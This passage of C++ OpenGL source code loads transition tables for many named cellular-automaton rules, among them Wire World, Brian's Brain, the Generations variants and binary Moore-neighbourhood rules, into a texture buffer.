width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableCARS[ind-1]; } ptr += 4 * width; // SubType 2: EcoLiBra GLubyte transition_tableEcoLiBra[16*10] = { 0,0,7,0,0,0,15,15,0,0, 0,0,0,0,0,0,0,0,0,0, 15,15,15,15,15,2,2,15,15,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 12,12,12,12,12,12,12,12,12,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 15,0,15,15,15,2,15,15,15,0 }; ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableEcoLiBra[ind-1]; } ptr += 4 * width; // SubType 3: Ladders GLubyte transition_tableLadders[16*10] = { 0,6,5,0,0,2,15,5,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,8,7,15,0,15,0,0, 0,0,6,0,0,0,0,0,3,0, 0,0,0,0,0,0,0,0,0,0, 8,0,0,0,0,0,0,0,0,0, 8,4,2,5,6,0,0,0,0,0, 4,0,11,0,0,0,0,0,0,0, 0,0,0,0,0,0,15,4,0,0, 0,8,0,15,5,0,0,0,0,0, 4,10,0,0,4,5,0,0,4,0, 0,8,8,0,0,12,4,6,0,0, 0,0,0,10,2,10,6,6,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,9,0,11,3,0,0, 9,0,0,0,14,0,0,6 }; ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableLadders[ind-1]; } ptr += 4 * width; // SubType 4: Wire World GLubyte transition_tableWire[4*10] = { 0,0,0,0,0,0,0,0,0,0, 2,2,2,2,2,2,2,2,2,0, 3,3,3,3,3,3,3,3,3,0, 3,1,1,3,3,3,3,3,3,3, }; ptr[ 0 ] = 4; for( int ind = 1 ; ind < std::min( width , 4*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableWire[ind-1]; } ptr += 4 * width; // SubType 5: Busy Brain GLubyte transition_tableBusyBrain[3*10] = { 0,0,1,2,0,2,2,2,2,0, 2,2,2,1,0,2,2,2,2, 0,0,0,0,0,1,2,2,1,2, }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 3*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableBusyBrain[ind-1]; } ptr += 4 * width; // SubType 6: Balloons GLubyte transition_tableBalloons[16*10] = { 0,0,15,0,0,0,5,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 4,4,8,4,4,4,4,4,4,0, 5,5,5,5,5,7,7,9,11, 0,2,2,2,2,2,2,2,2,2, 0,5,5,5,5,5,13,13,9,11, 0,8,8,10,8,8,8,8,8,8,0, 2,2,2,2,2,9,13,9,11,0, 10,10,0,10,10,10,10,10,10,0, 4,14,14,14,14,14,14,14,11,0, 2,12,4,12,12,12,12,12,12,0, 6,6,6,6,13,13,13,9,11,0, 14,14,14,12,14,14,14,14,14,0, 2,2,2,2,2,2,2,2,2 }; ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableBalloons[ind-1]; } ptr += 4 * width; // SubType 7: Ran Brain GLubyte transition_tableRanBrain[16*10] = { 0,0,5,10,0,0,5,10,0,0, 0,0,5,10,0,0,0,0,15,0, 0,0,0,0,0,15,15,0,0,0, 0,0,14,0,0,0,0,0,0,0, 0,0,4,0,0,0,0,0,0,0, 2,6,2,6,2,6,2,6,2,0, 2,6,2,6,2,6,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,12,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,12,0,0, 0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0, 0,0,14,7 }; ptr[ 0 ] = 16; for( int ind = 1 ; ind < std::min( width , 16*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableRanBrain[ind-1]; } ptr += 4 * width; // SubType 8: Brian's Brain GLubyte transition_tableBriansBrain[3*10] = { 0,0,1,0,0,0,0,0,0,0, 2,2,2,2,2,2,2,2,2,2, 0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 3*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableBriansBrain[ind-1]; } ptr += 4 * width; //////////////////////////////////////////// // GENERATION FAMILY: 1 neutral + 19 variants // SubType 0: neutral #define nbStatesNeutral 8 ptr[ 0 ] = nbStatesNeutral; for( int ind = 1 ; ind < std::min( width , nbStatesNeutral*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = 0; } ptr += 4 * width; // SubType 1: TwoStates #define nbStatesTwoStates 2 GLubyte TwoStates[nbStatesTwoStates*10] = { 0,0,1,0,1,0,0,1,1,0, // TwoStates 0,0,0,0,0,0,0,0,0,0, // TwoStates }; // TwoStates ptr[ 0 ] = nbStatesTwoStates; for( int ind = 1 ; ind < std::min( width , nbStatesTwoStates*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = TwoStates[ind-1]; } ptr += 4 * width; // SubType 2: Caterpillars #define nbStatesCaterpillars 4 GLubyte Caterpillars[nbStatesCaterpillars*10] = { 0,0,0,1,0,0,0,1,1,0, // Caterpillars 2,1,1,2,1,1,1,1,2,2, // Caterpillars 3,1,1,3,1,1,1,1,3,3, // Caterpillars 0,1,1,0,1,1,1,1,0,0, }; // Caterpillars ptr[ 0 ] = nbStatesCaterpillars; for( int ind = 1 ; ind < std::min( width , nbStatesCaterpillars*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Caterpillars[ind-1]; } ptr += 4 * width; // SubType 3: SoftFreeze #define nbStatesSoftFreeze 6 GLubyte SoftFreeze[nbStatesSoftFreeze*10] = { 0,0,0,1,0,0,0,0,1,0, // SoftFreeze 2,1,2,1,1,1,2,2,1,2, // SoftFreeze 3,1,3,1,1,1,3,3,1,3, // SoftFreeze 4,1,4,1,1,1,4,4,1,4, // SoftFreeze 5,1,5,1,1,1,5,5,1,5, // SoftFreeze 0,1,0,1,1,1,0,0,1,0, }; // SoftFreeze ptr[ 0 ] = nbStatesSoftFreeze; for( int ind = 1 ; ind < std::min( width , nbStatesSoftFreeze*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = SoftFreeze[ind-1]; } ptr += 4 * width; // SubType 4: LOTE #define nbStatesLOTE 6 GLubyte LOTE[nbStatesLOTE*10] = { 0,0,0,1,0,0,0,0,0,0, // LOTE 2,2,2,1,1,1,2,2,2,2, // LOTE 3,3,3,1,1,1,3,3,3,3, // LOTE 4,4,4,1,1,1,4,4,4,4, // LOTE 5,5,5,1,1,1,5,5,5,5, // LOTE 0,0,0,1,1,1,0,0,0,0, }; // LOTE ptr[ 0 ] = nbStatesLOTE; for( int ind = 1 ; ind < std::min( width , nbStatesLOTE*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = LOTE[ind-1]; } ptr += 4 * width; // SubType 5: MeterGuns #define nbStatesMeterGuns 8 GLubyte MeterGuns[nbStatesMeterGuns*10] = { 0,0,0,1,0,0,0,0,0,0, // MeterGuns 1,1,1,2,1,1,1,1,1,2, // MeterGuns 1,1,1,3,1,1,1,1,1,3, // MeterGuns 1,1,1,4,1,1,1,1,1,4, // MeterGuns 1,1,1,5,1,1,1,1,1,5, // MeterGuns 1,1,1,6,1,1,1,1,1,6, // MeterGuns 1,1,1,7,1,1,1,1,1,7, // MeterGuns 1,1,1,0,1,1,1,1,1,0, }; // MeterGuns ptr[ 0 ] = nbStatesMeterGuns; for( int ind = 1 ; ind < std::min( width , nbStatesMeterGuns*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = MeterGuns[ind-1]; } ptr += 4 * width; // SubType 6: EbbFlow #define nbStatesEbbFlow 18 GLubyte EbbFlow[nbStatesEbbFlow*10] = { 0,0,0,1,0,0,1,0,0,0, // EbbFlow 1,1,1,2,1,2,2,1,1,2, // EbbFlow 1,1,1,3,1,3,3,1,1,3, // EbbFlow 1,1,1,4,1,4,4,1,1,4, // EbbFlow 1,1,1,5,1,5,5,1,1,5, // EbbFlow 1,1,1,6,1,6,6,1,1,6, // EbbFlow 1,1,1,7,1,7,7,1,1,7, // EbbFlow 1,1,1,8,1,8,8,1,1,8, // EbbFlow 1,1,1,9,1,9,9,1,1,9, // EbbFlow 1,1,1,10,1,10,10,1,1,10, // EbbFlow 1,1,1,11,1,11,11,1,1,11, // EbbFlow 1,1,1,12,1,12,12,1,1,12, // EbbFlow 1,1,1,13,1,13,13,1,1,13, // EbbFlow 1,1,1,14,1,14,14,1,1,14, // EbbFlow 1,1,1,15,1,15,15,1,1,15, // EbbFlow 1,1,1,16,1,16,16,1,1,16, // EbbFlow 1,1,1,17,1,17,17,1,1,17, // EbbFlow 1,1,1,0,1,0,0,1,1,0, }; // EbbFlow ptr[ 0 ] = nbStatesEbbFlow; for( int ind = 1 ; ind < std::min( width , nbStatesEbbFlow*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = EbbFlow[ind-1]; } ptr += 4 * width; // SubType 7: EbbFlow2 #define nbStatesEbbFlow2 18 GLubyte EbbFlow2[nbStatesEbbFlow2*10] = { 0,0,0,1,0,0,0,1,0,0, // EbbFlow2 1,1,1,2,1,2,1,2,1,2, // EbbFlow2 1,1,1,3,1,3,1,3,1,3, // EbbFlow2 1,1,1,4,1,4,1,4,1,4, // EbbFlow2 1,1,1,5,1,5,1,5,1,5, // EbbFlow2 1,1,1,6,1,6,1,6,1,6, // EbbFlow2 1,1,1,7,1,7,1,7,1,7, // EbbFlow2 1,1,1,8,1,8,1,8,1,8, // EbbFlow2 1,1,1,9,1,9,1,9,1,9, // EbbFlow2 1,1,1,10,1,10,1,10,1,10, // EbbFlow2 1,1,1,11,1,11,1,11,1,11, // EbbFlow2 1,1,1,12,1,12,1,12,1,12, // EbbFlow2 1,1,1,13,1,13,1,13,1,13, // EbbFlow2 1,1,1,14,1,14,1,14,1,14, // EbbFlow2 1,1,1,15,1,15,1,15,1,15, // EbbFlow2 1,1,1,16,1,16,1,16,1,16, // EbbFlow2 1,1,1,17,1,17,1,17,1,17, // EbbFlow2 1,1,1,0,1,0,1,0,1,0, // EbbFlow2 }; // EbbFlow2 ptr[ 0 ] = nbStatesEbbFlow2; for( int ind = 1 ; ind < std::min( width , nbStatesEbbFlow2*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = EbbFlow2[ind-1]; } ptr += 4 * width; // SubType 8: SediMental #define nbStatesSediMental 4 GLubyte SediMental[nbStatesSediMental*10] = { 0,0,1,0,0,1,1,1,1,0, // SediMental 2,2,2,2,1,1,1,1,1,2, // SediMental 3,3,3,3,1,1,1,1,1,3, // SediMental 0,0,0,0,1,1,1,1,1,0, }; // SediMental ptr[ 0 ] = nbStatesSediMental; for( int ind = 1 ; ind < std::min( width , nbStatesSediMental*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = SediMental[ind-1]; } ptr += 4 * width; // SubType 9: Brain6 #define nbStatesBrain6 3 GLubyte Brain6[nbStatesBrain6*10] = { 0,0,1,0,1,0,1,0,0,0, // Brain6 2,2,2,2,2,2,1,2,2,2, // Brain6 0,0,0,0,0,0,1,0,0,0, // Brain6 }; // Brain64 ptr[ 0 ] = nbStatesBrain6; for( int ind = 1 ; ind < std::min( width , nbStatesBrain6*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Brain6[ind-1]; } ptr += 4 * width; // SubType 10: OrthoGo #define nbStatesOrthoGo 4 GLubyte OrthoGo[nbStatesOrthoGo*10] = { 0,0,1,0,0,0,0,0,0,0, // OrthoGo 2,2,2,1,2,2,2,2,2,2, // OrthoGo 3,3,3,1,3,3,3,3,3,3, // OrthoGo }; // OrthoGo ptr[ 0 ] = nbStatesOrthoGo; for( int ind = 1 ; ind < std::min( width , nbStatesOrthoGo*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = OrthoGo[ind-1]; } ptr += 4 * width; // SubType 11: StarWars #define nbStatesStarWars 4 GLubyte StarWars[nbStatesStarWars*10] = { 0,0,1,0,0,0,0,0,0,0, // StarWars 2,2,2,1,1,1,2,2,2,2, // StarWars 3,3,3,1,1,1,3,3,3,3, // StarWars 0,0,0,1,1,1,0,0,0,0, }; // StarWars ptr[ 0 ] = nbStatesStarWars; for( int ind = 1 ; ind < std::min( width , nbStatesStarWars*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = StarWars[ind-1]; } ptr += 4 * width; // SubType 12: Transers #define nbStatesTransers 5 GLubyte Transers[nbStatesTransers*10] = { 0,0,1,0,0,0,1,0,0,0, // Transers 2,2,2,1,1,1,2,2,2,2, // Transers 3,3,3,1,1,1,3,3,3,3, // Transers 4,4,4,1,1,1,4,4,4,4, // Transers 0,0,0,1,1,1,0,0,0,0, }; // Transers ptr[ 0 ] = nbStatesTransers; for( int ind = 1 ; ind < std::min( width , nbStatesTransers*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Transers[ind-1]; } ptr += 4 * width; // SubType 13: Snake #define nbStatesSnake 6 GLubyte Snake[nbStatesSnake*10] = { 0,0,1,0,0,1,0,0,0,0, // Snake 1,2,2,1,1,2,1,1,2,2, // Snake 1,3,3,1,1,3,1,1,3,3, // Snake 1,4,4,1,1,4,1,1,4,4, // Snake 1,5,5,1,1,5,1,1,5,5, // Snake 1,0,0,1,1,0,1,1,0,0, }; // Snake ptr[ 0 ] = nbStatesSnake; for( int ind = 1 ; ind < std::min( width , nbStatesSnake*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Snake[ind-1]; } ptr += 4 * width; // SubType 14: Sticks #define nbStatesSticks 6 GLubyte Sticks[nbStatesSticks*10] = { 0,0,1,0,0,0,0,0,0,0, // Sticks 2,2,2,1,1,1,1,2,2,2, // Sticks 3,3,3,1,1,1,1,3,3,3, // Sticks 4,4,4,1,1,1,1,4,4,4, // Sticks 5,5,5,1,1,1,1,5,5,5, // Sticks 0,0,0,1,1,1,1,0,0,0, }; // Sticks ptr[ 0 ] = nbStatesSticks; for( int ind = 1 ; ind < std::min( width , nbStatesSticks*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Sticks[ind-1]; } ptr += 4 * width; // SubType 15: Transers2 #define nbStatesTransers2 6 GLubyte Transers2[nbStatesTransers2*10] = { 0,0,1,0,0,0,1,0,0,0, // Transers2 1,2,2,1,1,1,2,2,2,2, // Transers2 1,3,3,1,1,1,3,3,3,3, // Transers2 1,4,4,1,1,1,4,4,4,4, // Transers2 1,5,5,1,1,1,5,5,5,5, // Transers2 1,0,0,1,1,1,0,0,0,0, // Transers2 }; // Transers2 ptr[ 0 ] = nbStatesTransers2; for( int ind = 1 ; ind < std::min( width , nbStatesTransers2*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Transers2[ind-1]; } ptr += 4 * width; // SubType 16: Worms #define nbStatesWorms 6 GLubyte Worms[nbStatesWorms*10] = { 0,0,1,0,0,1,0,0,0,0, // Worms 2,2,2,1,1,2,1,1,2,2, // Worms 3,3,3,1,1,3,1,1,3,3, // Worms 4,4,4,1,1,4,1,1,4,4, // Worms 5,5,5,1,1,5,1,1,5,5, // Worms 0,0,0,1,1,0,1,1,0,0, }; // Worms ptr[ 0 ] = nbStatesWorms; for( int ind = 1 ; ind < std::min( width , nbStatesWorms*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Worms[ind-1]; } ptr += 4 * width; // SubType 17: Cooties #define nbStatesCooties 9 GLubyte Cooties[nbStatesCooties*10] = { 0,0,1,0,0,0,0,0,0,0, // Cooties 2,2,1,1,2,2,2,2,2,2, // Cooties 3,3,1,1,3,3,3,3,3,3, // Cooties 4,4,1,1,4,4,4,4,4,4, // Cooties 5,5,1,1,5,5,5,5,5,5, // Cooties 6,6,1,1,6,6,6,6,6,6, // Cooties 7,7,1,1,7,7,7,7,7,7, // Cooties 8,8,1,1,8,8,8,8,8,8, // Cooties 0,0,1,1,0,0,0,0,0,0, }; // Cooties ptr[ 0 ] = nbStatesCooties; for( int ind = 1 ; ind < std::min( width , nbStatesCooties*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Cooties[ind-1]; } ptr += 4 * width; // SubType 18: Faders #define nbStatesFaders 25 GLubyte Faders[nbStatesFaders*10] = { 0,0,1,0,0,0,0,0,0,0, // Faders 2,2,1,2,2,2,2,2,2,2, // Faders 3,3,1,3,3,3,3,3,3,3, // Faders 4,4,1,4,4,4,4,4,4,4, // Faders 5,5,1,5,5,5,5,5,5,5, // Faders 6,6,1,6,6,6,6,6,6,6, // Faders 7,7,1,7,7,7,7,7,7,7, // Faders 8,8,1,8,8,8,8,8,8,8, // Faders 9,9,1,9,9,9,9,9,9,9, // Faders 10,10,1,10,10,10,10,10,10,10, // Faders 11,11,1,11,11,11,11,11,11,11, // Faders 12,12,1,12,12,12,12,12,12,12, // Faders 13,13,1,13,13,13,13,13,13,13, // Faders 14,14,1,14,14,14,14,14,14,14, // Faders 15,15,1,15,15,15,15,15,15,15, // Faders 16,16,1,16,16,16,16,16,16,16, // Faders 17,17,1,17,17,17,17,17,17,17, // Faders 18,18,1,18,18,18,18,18,18,18, // Faders 19,19,1,19,19,19,19,19,19,19, // Faders 20,20,1,20,20,20,20,20,20,20, // Faders 21,21,1,21,21,21,21,21,21,21, // Faders 22,22,1,22,22,22,22,22,22,22, // Faders 23,23,1,23,23,23,23,23,23,23, // Faders 24,24,1,24,24,24,24,24,24,24, // Faders 0,0,1,0,0,0,0,0,0,0, }; // Faders ptr[ 0 ] = nbStatesFaders; for( int ind = 1 ; ind < std::min( width , nbStatesFaders*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Faders[ind-1]; } ptr += 4 * width; // SubType 19: Fireworks #define nbStatesFireworks 21 GLubyte Fireworks[nbStatesFireworks*10] = { 0,1,0,1,0,0,0,0,0,0, // Fireworks 2,2,1,2,2,2,2,2,2,2, // Fireworks 3,3,1,3,3,3,3,3,3,3, // Fireworks 4,4,1,4,4,4,4,4,4,4, // Fireworks 5,5,1,5,5,5,5,5,5,5, // Fireworks 6,6,1,6,6,6,6,6,6,6, // Fireworks 7,7,1,7,7,7,7,7,7,7, // Fireworks 8,8,1,8,8,8,8,8,8,8, // Fireworks 9,9,1,9,9,9,9,9,9,9, // Fireworks 10,10,1,10,10,10,10,10,10,10, // Fireworks 11,11,1,11,11,11,11,11,11,11, // Fireworks 12,12,1,12,12,12,12,12,12,12, // Fireworks 13,13,1,13,13,13,13,13,13,13, // Fireworks 14,14,1,14,14,14,14,14,14,14, // Fireworks 15,15,1,15,15,15,15,15,15,15, // Fireworks 16,16,1,16,16,16,16,16,16,16, // Fireworks 17,17,1,17,17,17,17,17,17,17, // Fireworks 18,18,1,18,18,18,18,18,18,18, // Fireworks 19,19,1,19,19,19,19,19,19,19, // Fireworks 20,20,1,20,20,20,20,20,20,20, // Fireworks 0,0,1,0,0,0,0,0,0,0, }; // Fireworks ptr[ 0 ] = nbStatesFireworks; for( int ind = 1 ; ind < std::min( width , nbStatesFireworks*10+1 ) ; ind++ ) { ptr[ ind * 4 ] = Fireworks[ind-1]; } ptr += 4 * width; //////////////////////////////////////////// // GENERAL BINARY FAMILY Moore Neighborhood: 1 neutral + 7 variants // Example: Fallski // C48,NM,Sb255a,Babb189ab63a // 48 states 0-47 // Moore neihborhood Order N,NE,E,SE,S,SW,W,NW // states are encoded: S_N + 2 * S_NE + 4 * S_E + 8 * S_SE ... + 128 * S_NW // 00000000 0 neighbor // 10000000 N neighbor // 01000000 NE neighbor // 192 = 00000011 W and NW neighbors // Survive b255a survival on no alive neighbors: // 1 x one 255 x zeros // Birth abb189ab63a birth on a single N or NE neighbor, or on W and NW neighbors: // 0 1 1 189 x zeros 1 63 x zeros // Encoding of Survival and Birth // 256 0/1 digits encode // SubType 0: neutral ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = 0; } ptr += 4 * width; // Subtype 1: Fallski GLubyte transition_tableFallski[256*2] = { 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 48; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableFallski[ind-1]; } ptr += 4 * width; // Subtype 2: JustFriends GLubyte transition_tableJustFriends[256*2] = { 0,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableJustFriends[ind-1]; } ptr += 4 * width; // Subtype 3: LogicRule GLubyte transition_tableLogicRule[256*2] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; ptr[ 0 ] = 2; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableLogicRule[ind-1]; } ptr += 4 * width; // Subtype 4: Meteorama GLubyte transition_tableMeteorama[256*2] = { 0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0, 0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1, }; ptr[ 0 ] = 24; for( int ind = 1 ; ind < std::min( width , 256*2+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableMeteorama[ind-1]; } ptr += 4 * width; // Subtype 5: Slugfest GLubyte 